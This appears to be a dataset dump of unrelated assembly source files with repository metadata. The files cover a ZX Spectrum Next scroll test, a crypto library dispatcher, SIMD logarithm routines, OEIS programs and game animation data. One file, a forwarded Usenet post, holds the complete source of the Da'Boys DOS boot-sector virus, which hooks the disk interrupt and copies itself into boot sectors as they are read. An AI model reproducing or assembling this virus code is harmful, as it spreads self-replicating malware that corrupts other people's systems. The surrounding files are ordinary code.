edge with attr ld hl,MEM_ZX_ATTRIB_5800 ld a,A_BRIGHT|P_YELLOW|BLACK ld de,32 ld b,22 .DrawLeftAttrEdge: ld (hl),a add hl,de djnz .DrawLeftAttrEdge ; blue border to signal next phase of test BORDER BLUE NEXTREG_nn TRANSPARENCY_FALLBACK_COL_NR_4A,%000'000'10 ; blue border extension ; setup empty interrupt handler ld a,IVT2 ld i,a im 2 ei ; and finally set the ULA scroll registers ; do it in "animated" way ld ix,-XOFS<<8 ld iy,YOFS<<8 ld hl,+XOFS/2 ; fixed point math 8.8 for 512 steps, i.e. the final coords. ld de,-YOFS/2 ; will be [0,0] in top 8 bits of [ix, iy] ; do the initial scroll and wait 0.5s before scroll starts ld a,ixh NEXTREG_A ULA_XOFFSET_NR_26 ld a,iyh NEXTREG_A ULA_YOFFSET_NR_27 ld b,25 .WaitBefore: halt djnz .WaitBefore ; start the scroll animation loop ld bc,$0002 ; B = 0 (256x), C = 2 (2*256 = 512x) .ScrollLoop: halt ; advance the 8.8 coordinates in [ix,iy] add iy,de ex de,hl add ix,de ex de,hl ; set the scroll registers ld a,ixh NEXTREG_A ULA_XOFFSET_NR_26 ld a,iyh NEXTREG_A ULA_YOFFSET_NR_27 djnz .ScrollLoop dec c jr nz,.ScrollLoop ; signal end of test, read keyboard OPQA to modify scroll BORDER GREEN NEXTREG_nn TRANSPARENCY_FALLBACK_COL_NR_4A,%000'101'00 ; green border extension .InteractiveLoop: ; set croll registers ld a,ixh NEXTREG_A ULA_XOFFSET_NR_26 ld a,iyh NEXTREG_A ULA_YOFFSET_NR_27 halt ; read keys, adjust regs ld a,%1101'1111 ; O (bit 1) and P (bit 0) row in a,(ULA_P_FE) rra jr c,.notP inc ixh .notP: rra jr c,.notO dec ixh .notO: ld a,%1111'1011 ; Q (bit 0) row in a,(ULA_P_FE) push af rra jr c,.notQ xor a cp iyh jr nz,.YofsOk1 ld iyh,192 .YofsOk1: dec iyh .notQ: ld a,%1111'1101 ; A (bit 0) row in a,(ULA_P_FE) rra jr c,.notA ld a,191 cp iyh jr nz,.YofsOk2 ld iyh,-1 .YofsOk2: inc iyh .notA: pop af ; R is in the same row as Q (already read) and %000'01000 jr nz,.notR ld ixh,0 ; reset scroll coordinates ld iyh,0 .notR: jr .InteractiveLoop call EndTest ALIGN 256 IVT2 equ high $ Im2Handler equ ((IVT2+1)<<8) + IVT2+1 BLOCK 257,IVT2+1 ORG Im2Handler ei ret savesna "UlaScrol.sna", Start
28.018018
89
0.586977
1cae6d3ead5a173ed27de36a632b86a0daeada7b
1,253
asm
Assembly
_build/dispatcher/jmp_ippsHashMethod_SHA256_TT_678ded20.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsHashMethod_SHA256_TT_678ded20.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsHashMethod_SHA256_TT_678ded20.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsHashMethod_SHA256_TT:function extern n8_ippsHashMethod_SHA256_TT:function extern y8_ippsHashMethod_SHA256_TT:function extern e9_ippsHashMethod_SHA256_TT:function extern l9_ippsHashMethod_SHA256_TT:function extern n0_ippsHashMethod_SHA256_TT:function extern k0_ippsHashMethod_SHA256_TT:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsHashMethod_SHA256_TT .Larraddr_ippsHashMethod_SHA256_TT: dq m7_ippsHashMethod_SHA256_TT dq n8_ippsHashMethod_SHA256_TT dq y8_ippsHashMethod_SHA256_TT dq e9_ippsHashMethod_SHA256_TT dq l9_ippsHashMethod_SHA256_TT dq n0_ippsHashMethod_SHA256_TT dq k0_ippsHashMethod_SHA256_TT segment .text global ippsHashMethod_SHA256_TT:function (ippsHashMethod_SHA256_TT.LEndippsHashMethod_SHA256_TT - ippsHashMethod_SHA256_TT) .Lin_ippsHashMethod_SHA256_TT: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsHashMethod_SHA256_TT: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsHashMethod_SHA256_TT] mov r11, qword [r11+rax*8] jmp r11 .LEndippsHashMethod_SHA256_TT:
32.128205
123
0.824421
e8782e62d410aefdab5b288ffe696b58dae27226
7,792
asm
Assembly
lib/asm/logf.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
12
2016-08-02T17:01:13.000Z
2021-03-04T12:11:33.000Z
lib/asm/logf.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
5
2017-05-09T12:05:06.000Z
2021-03-16T10:39:23.000Z
lib/asm/logf.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
2
2016-08-25T13:10:29.000Z
2019-05-01T01:54:29.000Z
;;============================================================================ ;; MCKL/lib/asm/logf.asm ;;---------------------------------------------------------------------------- ;; MCKL: Monte Carlo Kernel Library ;;---------------------------------------------------------------------------- ;; Copyright (c) 2013-2018, Yan Zhou ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; ;; Redistributions in binary form must reproduce the above copyright notice, ;; this list of conditions and the following disclaimer in the documentation ;; and/or other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ;; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ;; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ;; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ;; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ;; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ;; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ;; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;; POSSIBILITY OF SUCH DAMAGE. ;;============================================================================ %include "/math.asm" global mckl_vs_log global mckl_vs_log2 global mckl_vs_log10 global mckl_vs_log1p default rel ; register used as constants: ymm6-ymm8, ymm10, ymm12 ; register used as variables: ymm1-5, ymm9, ymm11, ymm13-15 %macro log1pf_constants 0 vmovaps ymm6, [rel sqrt2by2] vmovaps ymm7, [rel one] vmovaps ymm8, [rel two] %endmacro ; log(1 + f) * (f + 2) / f - 2 = c9 * x^8 + ... + c5 * x^4 + c3 * x^2 %macro log1pf 3 ; implicity input ymm1, output ymm9 vcmpltps ymm11, ymm0, %1 vcmpgtps ymm15, ymm0, %2 vxorps ymm13, ymm13, ymm13 ; k = 0 %if %3 == 0 vaddps ymm1, ymm0, ymm7 ; b = a + 1 vmovaps ymm14, ymm0 ; f = a; %elif %3 == 1 vmovaps ymm1, ymm0 ; b = a vsubps ymm14, ymm0, ymm7 ; f = a - 1; %else %error %endif vorps ymm11, ymm11, ymm15 vtestps ymm11, ymm11 jz %%skip ; k = exponent(b) vpsrld ymm2, ymm1, 23 vorps ymm2, ymm2, [emask0] vsubps ymm3, ymm2, [emask1] ; exponent(b) ; fraction(b) / 2 vandps ymm1, ymm1, [fmask0] vorps ymm4, ymm1, [fmask1] ; fraction(b) / 2 ; fraction(b) > sqrt(2) vcmpgtps ymm1, ymm4, ymm6 vandps ymm5, ymm1, ymm7 vandnps ymm9, ymm1, ymm4 vaddps ymm3, ymm3, ymm5 vaddps ymm4, ymm4, ymm9 ; f = fraction(b) - 1 vsubps ymm4, ymm4, ymm7 ; skip reduction if ymm0 in range vblendvps ymm13, ymm13, ymm3, ymm11 vblendvps ymm14, ymm14, ymm4, ymm11 %%skip: ; x = f / (f + 2) vaddps ymm1, ymm14, ymm8 vdivps ymm1, ymm14, ymm1 vmovaps ymm9, [c9] vmovaps ymm5, [c5] vmulps ymm2, ymm1, ymm1 ; x^2 vmulps ymm4, ymm2, ymm2 ; x^4 vfmadd213ps ymm9, ymm2, [c7] ; u9 = c9 * x^2 + c7 vfmadd213ps ymm5, ymm2, [c3] ; u5 = c5 * x^2 + c3 vfmadd213ps ymm9, ymm4, ymm5 ; v9 = u9 * x^4 + u5 vmulps ymm9, ymm9, ymm2 ; z9 = v9 * x^2 %endmacro %macro select 1 ; implicit input ymm0, ymm9, output ymm9 vcmpltps ymm1, ymm0, [%{1}_min_a] ; a < min_a vcmpgtps ymm2, ymm0, [%{1}_max_a] ; a > max_a vcmpltps ymm3, ymm0, [%{1}_nan_a] ; a < nan_a vcmpneqps ymm4, ymm0, ymm0 ; a != a vorps ymm5, ymm1, ymm2 vorps ymm5, ymm5, ymm3 vorps ymm5, ymm5, ymm4 vtestps ymm5, ymm5 jz %%skip vblendvps ymm9, ymm9, [%{1}_min_y], ymm1 ; min_y vblendvps ymm9, ymm9, [%{1}_max_y], ymm2 ; max_y vblendvps ymm9, ymm9, [%{1}_nan_y], ymm3 ; nan_y vblendvps ymm9, ymm9, ymm0, ymm4 ; a %%skip: %endmacro %macro log_constants 0 log1pf_constants vmovaps ymm10, [ln2] %endmacro %macro log 2 vmovups ymm0, %2 log1pf ymm6, [sqrt2], 1 ; log(1 + f) = f - x * (f - R) ; log(a) = k * log(2) + log(1 + f) vsubps ymm9, ymm14, ymm9 vfnmadd213ps ymm9, ymm1, ymm14 vfmadd231ps ymm9, ymm13, ymm10 select log vmovups %1, ymm9 %endmacro %macro log2_constants 0 log1pf_constants vmovaps ymm10, [ln2inv] %endmacro %macro log2 2 vmovups ymm0, %2 log1pf ymm6, [sqrt2], 1 ; log(1 + f) = f - x * (f - R) ; log2(a) = k + log(1 + f) / log(2) vsubps ymm9, ymm14, ymm9 vfnmadd213ps ymm9, ymm1, ymm14 vfmadd213ps ymm9, ymm10, ymm13 select log2 vmovups %1, ymm9 %endmacro %macro log10_constants 0 log1pf_constants vmovaps ymm10, [ln10_2] vmovaps ymm12, [ln10inv] %endmacro %macro log10 2 vmovups ymm0, %2 log1pf ymm6, [sqrt2], 1 ; log(1 + f) = f - x * (f - R) ; log10(a) = k * log(10) / log(2) + log(1 + f) / log(10) vsubps ymm9, ymm14, ymm9 vfnmadd213ps ymm9, ymm1, ymm14 vmulps ymm13, ymm13, ymm10 vfmadd213ps ymm9, ymm12, ymm13 select log vmovups %1, ymm9 %endmacro %macro log1p_constants 0 log1pf_constants vmovaps ymm10, [ln2] %endmacro %macro log1p 2 vmovups ymm0, %2 log1pf [sqrt2m2], [sqrt2m1], 0 ; log(1 + f) = f - x * (f - R) ; log(1 + a) = k * log2 + log(1 + f) vsubps ymm9, ymm14, ymm9 vfnmadd213ps ymm9, ymm1, ymm14 vfmadd231ps ymm9, ymm13, ymm10 select log1p vmovups %1, ymm9 %endmacro section .rodata align 32 log_min_a: times 8 dd 0x00800000 ; FLT_MIN log_max_a: times 8 dd 0x7F7FFFFF ; FLT_MAX log_nan_a: times 8 dd 0x00000000 ; 0.0 log_min_y: times 8 dd 0xFF800000 ; -HUGE_VALF log_max_y: times 8 dd 0x7F800000 ; HUGE_VALF log_nan_y: times 8 dd 0x7FC00000 ; NaN log2_min_a: times 8 dd 0x00800000 ; FLT_MIN log2_max_a: times 8 dd 0x7F7FFFFF ; FLT_MAX log2_nan_a: times 8 dd 0x00000000 ; 0.0 log2_min_y: times 8 dd 0xFF800000 ; -HUGE_VALF log2_max_y: times 8 dd 0x7F800000 ; HUGE_VALF log2_nan_y: times 8 dd 0x7FC00000 ; NaN log10_min_a: times 8 dd 0x00800000 ; FLT_MIN log10_max_a: times 8 dd 0x7F7FFFFF ; FLT_MAX log10_nan_a: times 8 dd 0x00000000 ; 0.0 log10_min_y: times 8 dd 0xFF800000 ; -HUGE_VALF log10_max_y: times 8 dd 0x7F800000 ; HUGE_VALF log10_nan_y: times 8 dd 0x7FC00000 ; NaN log1p_min_a: times 8 dd 0xBF7FFFFF ; nextafter(-1.0, 0.0) log1p_max_a: times 8 dd 0x7F7FFFFF ; FLT_MAX log1p_nan_a: times 8 dd 0xBF800000 ; -1.0 log1p_min_y: times 8 dd 0xFF800000 ; -HUGE_VALF log1p_max_y: times 8 dd 0x7F800000 ; HUGE_VALF log1p_nan_y: times 8 dd 0x7FC00000 ; NaN c3: times 8 dd 0x3F2AAAAA c5: times 8 dd 0x3ECCCE13 c7: times 8 dd 0x3E91E9EE c9: times 8 dd 0x3E789E26 emask0: times 8 dd 0x4B000000 ; 2^23 emask1: times 8 dd 0x4B00007F ; 2^23 + 127 fmask0: times 8 dd 0x007FFFFF ; fraction mask fmask1: times 8 dd 0x3F000000 ; fraction(a) / 2 one: times 8 dd 0x3F800000 ; 1.0 two: times 8 dd 0x40000000 ; 2.0 ln2: times 8 dd 0x3F317218 ; log(2.0l) ln2inv: times 8 dd 0x3FB8AA3B ; 1.0l / log(2.0l) ln10_2: times 8 dd 0x3E9A209B ; log10(2.0l) ln10inv: times 8 dd 0x3EDE5BD9 ; 1.0l / log(10.0l) sqrt2: times 8 dd 0x3FB504F3 ; sqrt(2.0l) sqrt2by2: times 8 dd 0x3F3504F3 ; sqrt(2.0l) / 2.0l sqrt2m1: times 8 dd 0x3ED413CD ; sqrt(2.0l) - 1.0l sqrt2m2: times 8 dd 0xBE95F61A ; sqrt(2.0l) / 2.0l - 1.0l section .text mckl_vs_log: math_kernel_a1r1 4, log mckl_vs_log2: math_kernel_a1r1 4, log2 mckl_vs_log10: math_kernel_a1r1 4, log10 mckl_vs_log1p: math_kernel_a1r1 4, log1p ; vim:ft=nasm
29.183521
78
0.647074
2fda1f1acafcf81c6cbfaaea650a2eae6bf9339d
1,377
asm
Assembly
programs/oeis/099/A099048.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/099/A099048.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/099/A099048.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A099048: Number of 5 X n 0-1 matrices avoiding simultaneously the right angled numbered polyomino patterns (ranpp) (00;1), (01;0), (10;0) and (11;0). ; 32,50,68,86,104,122,140,158,176,194,212,230,248,266,284,302,320,338,356,374,392,410,428,446,464,482,500,518,536,554,572,590,608,626,644,662,680,698,716,734,752,770,788,806,824,842,860,878,896,914,932,950,968,986,1004,1022,1040,1058,1076,1094,1112,1130,1148,1166,1184,1202,1220,1238,1256,1274,1292,1310,1328,1346,1364,1382,1400,1418,1436,1454,1472,1490,1508,1526,1544,1562,1580,1598,1616,1634,1652,1670,1688,1706,1724,1742,1760,1778,1796,1814,1832,1850,1868,1886,1904,1922,1940,1958,1976,1994,2012,2030,2048,2066,2084,2102,2120,2138,2156,2174,2192,2210,2228,2246,2264,2282,2300,2318,2336,2354,2372,2390,2408,2426,2444,2462,2480,2498,2516,2534,2552,2570,2588,2606,2624,2642,2660,2678,2696,2714,2732,2750,2768,2786,2804,2822,2840,2858,2876,2894,2912,2930,2948,2966,2984,3002,3020,3038,3056,3074,3092,3110,3128,3146,3164,3182,3200,3218,3236,3254,3272,3290,3308,3326,3344,3362,3380,3398,3416,3434,3452,3470,3488,3506,3524,3542,3560,3578,3596,3614,3632,3650,3668,3686,3704,3722,3740,3758,3776,3794,3812,3830,3848,3866,3884,3902,3920,3938,3956,3974,3992,4010,4028,4046,4064,4082,4100,4118,4136,4154,4172,4190,4208,4226,4244,4262,4280,4298,4316,4334,4352,4370,4388,4406,4424,4442,4460,4478,4496,4514 mov $1,$0 mul $1,18 add $1,32
196.714286
1,193
0.775599
673d9c0734f6b9ae3a52e02ef4e83ae1f5851ae6
150
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sccz80/getchar_unlocked.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/getchar_unlocked.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/getchar_unlocked.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int getchar_unlocked(void) SECTION code_stdio PUBLIC getchar_unlocked EXTERN asm_getchar_unlocked defc getchar_unlocked = asm_getchar_unlocked
13.636364
44
0.853333
a54570bb39981312bb5e59a68e591acae24ecc13
417
asm
Assembly
_anim/Burrobot.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
9
2021-01-15T13:47:53.000Z
2022-01-17T15:33:55.000Z
_anim/Burrobot.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
7
2021-01-14T02:18:48.000Z
2021-03-24T15:44:30.000Z
_anim/Burrobot.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
2
2021-01-14T13:14:26.000Z
2021-01-29T17:46:04.000Z
; --------------------------------------------------------------------------- ; Animation script - Burrobot enemy ; --------------------------------------------------------------------------- Ani_Burro: dc.w @walk1-Ani_Burro dc.w @walk2-Ani_Burro dc.w @digging-Ani_Burro dc.w @fall-Ani_Burro @walk1: dc.b 3, 0, 6, afEnd @walk2: dc.b 3, 0, 1, afEnd @digging: dc.b 3, 2, 3, afEnd @fall: dc.b 3, 4, afEnd even
34.75
77
0.417266
944aed7d447bcc5dad5a9718645f0d00692c86b7
7,454
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.daboys.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.daboys.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.daboys.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
From smtp Fri Mar 24 16:17 EST 1995 Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500 Date: Fri, 24 Mar 1995 16:21:26 -0500 From: Eric Kilby <ekilby@lynx.dac.neu.edu> Content-Length: 6924 Content-Type: text Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu> To: joshuaw@pobox.jwu.edu Subject: (fwd) Re: Da'boys viurs, new? Newsgroups: alt.comp.virus Status: O Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail From: yojimbo@crl.com (Douglas Mauldin) Newsgroups: alt.comp.virus Subject: Re: Da'boys viurs, new? Date: 23 Mar 1995 23:25:53 -0800 Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] Lines: 276 Message-ID: <3kts61$1a3@crl9.crl.com> References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com> NNTP-Posting-Host: crl9.crl.com X-Newsreader: TIN [version 1.2 PL2] ;: does anyone know what this virus does? how dangerous is it ;: and how do i remove it from my boot sector if the disk is not ;: a bootable one? ;From THe QUaRaNTiNE archives: Da'Boys Source- ;Enjoy... cseg segment para public 'code' da_boys proc near assume cs:cseg ;----------------------------------------------------------------------------- .186 TRUE equ 001h FALSE equ 000h ;----------------------------------------------------------------------------- ;option bytes used COM4_OFF equ TRUE ; 3 bytes DA_BOYS_TEXT equ TRUE ; 6 bytes ;----------------------------------------------------------------------------- ADDR_MUL equ 004h BIOS_INT_13 equ 0c6h BOOT_INT equ 019h BOOT_OFFSET equ 07c00h COM4_OFFSET equ 00406h COM_OFFSET equ 00100h DISK_INT equ 013h DOS_GET_INT equ 03500h DOS_INT equ 021h DOS_SET_INT equ 02500h FIRST_SECTOR equ 00001h INITIAL_BX equ 00078h LOW_CODE equ 0021dh NEW_INT_13_LOOP equ 0cdh READ_A_SECTOR equ 00201h RETURN_NEAR equ 0c3h SECTOR_SIZE equ 00200h TERMINATE_W_ERR equ 04c00h TWO_BYTES equ 002h VIRGIN_INT_13_B equ 007b4h WRITE_A_SECTOR equ 00301h ;----------------------------------------------------------------------------- io_seg segment at 00070h org 00000h io_sys_loads_at label word io_seg ends ;----------------------------------------------------------------------------- bios_seg segment at 0f000h org 09315h original_int_13 label word bios_seg ends ;----------------------------------------------------------------------------- org COM_OFFSET com_code: ;----------------------------------------------------------------------------- dropper proc near xor ax,ax mov ds,ax lds dx,dword ptr ds:[VIRGIN_INT_13_B] mov ax,DOS_SET_INT+BIOS_INT_13 int DOS_INT mov dx,offset interrupt_13+LOW_CODE-offset old_jz xor ax,ax mov ds,ax mov ax,DOS_SET_INT+DISK_INT int DOS_INT mov di,LOW_CODE mov si,offset old_jz push ds pop es call move_to_boot mov ax,READ_A_SECTOR mov cx,FIRST_SECTOR mov dx,00180h mov bx,offset buffer push cs pop es int DISK_INT already_set: mov ax,TERMINATE_W_ERR int DOS_INT dropper endp ;----------------------------------------------------------------------------- org 00048h+COM_OFFSET call initialize ;----------------------------------------------------------------------------- org 000ebh+COM_OFFSET old_jz: jz old_code ;----------------------------------------------------------------------------- org 00edh+COM_OFFSET ;----------------------------------------------------------------------------- error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET xor ax,ax move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1 pushf cld rep movs byte ptr es:[di],cs:[si] popf ret ;----------------------------------------------------------------------------- old_code: mov ax,word ptr ds:[bx+01ah] dec ax dec ax mov di,BOOT_OFFSET+049h mov bl,byte ptr ds:[di-03ch] xor bh,bh mul bx add ax,word ptr ds:[di] adc dx,word ptr ds:[di+002h] mov bx,00700h mov cl,003h old_loop: pusha call more_old_code popa jc error add ax,0001h adc dx,00h add bx,word ptr ds:[di-03eh] loop old_loop mov ch,byte ptr ds:[di-034h] mov dl,byte ptr ds:[di-025h] mov bx,word ptr ds:[di] mov ax,word ptr ds:[di+002h] jmp far ptr io_sys_loads_at ;----------------------------------------------------------------------------- initialize: mov bx,INITIAL_BX mov di,LOW_CODE push ss pop ds jmp short set_interrupts ;----------------------------------------------------------------------------- error_will_jmp: mov bx,BOOT_OFFSET IF DA_BOYS_TEXT db 'DA',027h,'BOYS' ELSE push bx ENDIF mov ax,00100h mov dx,08000h load_from_disk: mov cx,ax mov ax,READ_A_SECTOR xchg ch,cl xchg dh,dl int DISK_INT ret ;----------------------------------------------------------------------------- org 00160h+COM_OFFSET ;----------------------------------------------------------------------------- more_old_code: mov si,BOOT_OFFSET+018h cmp dx,word ptr ds:[si] jnb stc_return div word ptr ds:[si] inc dl mov ch,dl xor dx,dx IF COM4_OFF mov word ptr ds:[COM4_OFFSET],dx ENDIF div word ptr ds:[si+002h] mov dh,byte ptr ds:[si+00ch] shl ah,006h or ah,ch jmp short load_from_disk stc_return: stc ret ;----------------------------------------------------------------------------- org 0181h+COM_OFFSET ret ;----------------------------------------------------------------------------- restart_it: int BOOT_INT ;----------------------------------------------------------------------------- set_interrupts: cmp word ptr ds:[di],ax jne is_resident mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax mov ax,offset interrupt_13+LOW_CODE-offset old_jz mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax is_resident: jmp move_to_low ;----------------------------------------------------------------------------- interrupt_13 proc far cmp ah,high(READ_A_SECTOR) jne jmp_old_int_13 cmp cx,FIRST_SECTOR jne jmp_old_int_13 cmp dh,cl ja jmp_old_int_13 pusha int BIOS_INT_13 jc not_boot_sect mov ax,0efe8h xchg word ptr es:[bx+048h],ax cmp ax,078bbh jne not_boot_sect mov di,bx add di,offset old_jz-COM_OFFSET cmp bh,high(BOOT_OFFSET) pushf jne no_key_press mov byte ptr es:[di+00ch],RETURN_NEAR pusha call near ptr hit_any_key popa no_key_press: mov ax,WRITE_A_SECTOR mov si,LOW_CODE call move_to_boot inc cx int BIOS_INT_13 popf je restart_it not_boot_sect: popa interrupt_13 endp ;----------------------------------------------------------------------------- org 001e5h+COM_OFFSET jmp_old_int_13: jmp far ptr original_int_13 ;----------------------------------------------------------------------------- buffer db SECTOR_SIZE dup (0) ;----------------------------------------------------------------------------- org 07cedh-LOW_CODE+offset old_jz hit_any_key label word ;----------------------------------------------------------------------------- da_boys endp cseg ends end com_code
24.60066
150
0.556882
3e27c69afe69eb785496cae9bd6a51402d79c84c
152
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd4.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd4.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd4.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: mn_hp_mr3bgd4.asm Type: file Size: 131038 Last-Modified: '1993-08-25T07:21:24Z' SHA-1: 18FC73E3EBE1D7D8F1C9F5D07DE9CFE1D386986C Description: null
21.714286
47
0.822368
c948049e4ee42defb176f08adc8bc9bcfaacfb30
663
asm
Assembly
oeis/050/A050519.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/050/A050519.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/050/A050519.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A050519: Increments of arithmetic progression of at least 6 terms having the same value of phi in A050518. ; Submitted by Jamie Morken(s4) ; 30,60,90,120,150,180,210,240,270,300,330,360,390,420,450,480,510,540,570,600,630,660,690,720,750,780,810,840,870,900,930,960,990,1020,1050,1080,1110,1140,1170,1200,1230,1260,1290,1320,1350,1380,1410,1440,1470,1500,1530,1560,1590,1620,1650,1680,1710,1740,1770,1800,1830,1860,1890,1920,1950,1980,2010,2040,2070,2100,2130,2160,2190,2220,2250,2280,2310,2340,2370,2400,2430,2460,2490,2520,2550,2580,2610,2640,2670,2700,2730,2760,2790,2820,2850,2880,2910,2940,2970,3000 lpb $0,$0 mod $0,2 sub $0,1 lpe add $0,1 mul $0,30
60.272727
465
0.760181
010da3260000a95f2b05dd5823ae39360d9c518b
847
asm
Assembly
oeis/142/A142285.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142285.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142285.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
